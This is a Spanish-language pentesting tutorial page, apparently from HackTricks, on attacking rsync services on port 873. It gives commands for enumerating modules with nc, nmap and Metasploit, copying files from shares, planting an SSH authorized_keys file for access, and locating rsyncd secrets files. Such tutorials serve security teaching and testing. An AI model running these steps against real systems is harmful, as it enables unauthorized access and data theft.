873 - Pentesting Rsync

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Información Básica

Desde wikipedia:

rsync es una utilidad para transferir y sincronizar archivos de manera eficiente entre una computadora y un disco duro externo y entre computadoras en red al comparar los tiempos de modificación y tamaños de los archivos.[3] Comúnmente se encuentra en sistemas operativos tipo Unix. El algoritmo de rsync es un tipo de codificación delta y se utiliza para minimizar el uso de la red. Zlib puede ser utilizado para compresión de datos adicional,[3] y SSH o stunnel pueden ser utilizados para seguridad.

Puerto predeterminado: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

Enumeración

nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

Enumerando Carpetas Compartidas

Los módulos de Rsync son reconocidos como comparticiones de directorios que podrían estar protegidas con contraseñas. Para identificar los módulos disponibles y verificar si requieren contraseñas, se utilizan los siguientes comandos:

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

Ten en cuenta que es posible que algunas comparticiones no aparezcan en la lista, posiblemente estén ocultas. Además, el acceso a algunas comparticiones podría estar restringido a credenciales específicas, indicado por un mensaje de "Acceso denegado".

Uso manual de Rsync

Una vez obtenida una lista de módulos, las acciones dependen de si se necesita autenticación. Sin autenticación, la enumeración y copia de archivos desde una carpeta compartida a un directorio local se logra mediante:

# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

Este proceso transfiere archivos de forma recursiva, preservando sus atributos y permisos.

Con credenciales, la lista y descarga desde una carpeta compartida se puede hacer de la siguiente manera, donde aparecerá un prompt para ingresar la contraseña:

rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

Para subir contenido, como un archivo authorized_keys para acceso, usa:

rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

Para localizar el archivo de configuración de rsyncd, ejecuta:

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

Dentro de este archivo, un parámetro secrets file podría apuntar a un archivo que contiene nombres de usuario y contraseñas para la autenticación de rsyncd.

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización